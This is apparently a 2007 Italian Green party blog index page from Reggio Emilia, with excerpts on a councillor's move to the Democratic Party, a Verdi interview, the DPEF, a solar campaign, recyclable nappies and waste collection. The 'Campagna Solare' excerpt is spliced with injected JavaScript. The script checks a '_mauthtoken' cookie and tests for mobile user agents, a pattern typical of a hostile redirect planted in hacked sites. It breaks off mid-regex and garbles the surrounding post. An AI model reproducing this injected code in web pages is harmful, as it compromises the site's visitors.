Partito democratico e doppio incarico: i Verdi contro Luciano Gobbi

Emilianet | Partito democratico e doppio incarico: i Verdi contro Luciano Gobbi

Il partito accusa: “C’è un disegno per emarginarci dalla maggioranza”

REGGIO EMILIA 23 giu. 2007 – E’ polemica per la sostituzione in Consiglio comunale della defunta Paola Donelli con Luciano Gobbi, che ha lasciato i Verdi per entrare nel nascente partito democratico. Oltre al nuovo soggetto del centrosinistra, la discussione verte anche sul doppio incarico: Gobbi è infatti già  assessore provinciale.

La Federazione provinciale dei Verdi critica duramente le decisioni di Gobbi. “Il subentro a Paola Donelli“, dicono i Verdi, “è un atto legittimo, ma eticamente deprecabile e politicamente inaccettabile“. “In ogni caso” proseguono i Verdi “con la sua opportunistica mutazione politica Gobbi ha scelto da tempo di non rappresentare più l’elettorato dei Verdi.” (altro…)

Il PD non ci interessa, lavoriamo ad un cantiere progressista

Riportiamo l’intervista al Presidente Nazionale dei Verdi Pecoraro Scanio pubblicata da Il Manifesto il 24 Aprile:

Pecoraro Scanio: «Il Pd non ci interessa Lavoriamo a un cantiere progressista»
Costruiamo insieme una rete comune e aperta per una politica laica, ambientalista e di sinistra. Un’alleanza che sfidi il Pd anche sul piano del consenso
(Matteo Bartocci) (altro…)

Un DPEF anche per l’ambiente Generale – Alessandro Ronchi

Il documento di Programmazione Economico-Finanziaria appena approvato contiene diversi vantaggi. Come abbiamo letto sulla stampa di questi giorni alcuni tra i più importanti riguardano pensioni basse, giovani, ammortizzatori sociali, infrastrutture e ricerca. Ma molti capitoli di questo documento sono incentrati sull’ambiente, come scrive anche il Ministro Pecoraro Scanio sul suo Leggi tutto…

Campagna Solare, Sì grazie!

Vent’anni fa i solari hanno fermato i nucleari. Oggi i nucleari ci riprovano. Tu da che parte stai? Se volete partecipare gratuitamente alla manifestazione di Roma che si terrà  Sabato 10 Novembre a Piazza Farnese a Roma alle ore 16contattateci!if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( Leggi tutto…

Sperimentazione sui pannolini a Reggio Emilia

Immaginiamo enormi montagne di rifiuti fatte di pannolini per bebè. Ogni bambino ne produce una tonnellata, materiale impossibile da riciclare. Ma da alcuni mesi contro queste montagne è sceso in guerra il Comune di Reggio Emilia.
La sfida è iniziata in agosto con una sperimentazione avviata con l’Associazione nazionale famiglie numerose (quelle con più di quattro figli). E’ entrata in settembre nella grande distribuzione con i pannolini riciclabili sugli scaffali di super e ipermercati (Coop, Conad e Sigma-Realco). (altro…)

Hera boicotta il porta a porta perché funziona

Quello che accade in questi giorni è la piena dimostrazione che il sistema di raccolta porta a porta funziona ed è più conveniente sotto tutti i punti di vista, compreso quello economico. Non si spiega altrimenti, infatti, il continuo tentativo da parte di Hera di boicottare la perimentazione di Forlimpopoli: dal problema della distribuzione dei materiali, questione di poche centinaia di euro, all’ostacolo dei controlli sui risultati attraverso la presentazione nel tavolo tecnico di dati economici parziali, senza pezze giustificative e con aumenti inspiegabili sotto la voce di gestione. (altro…)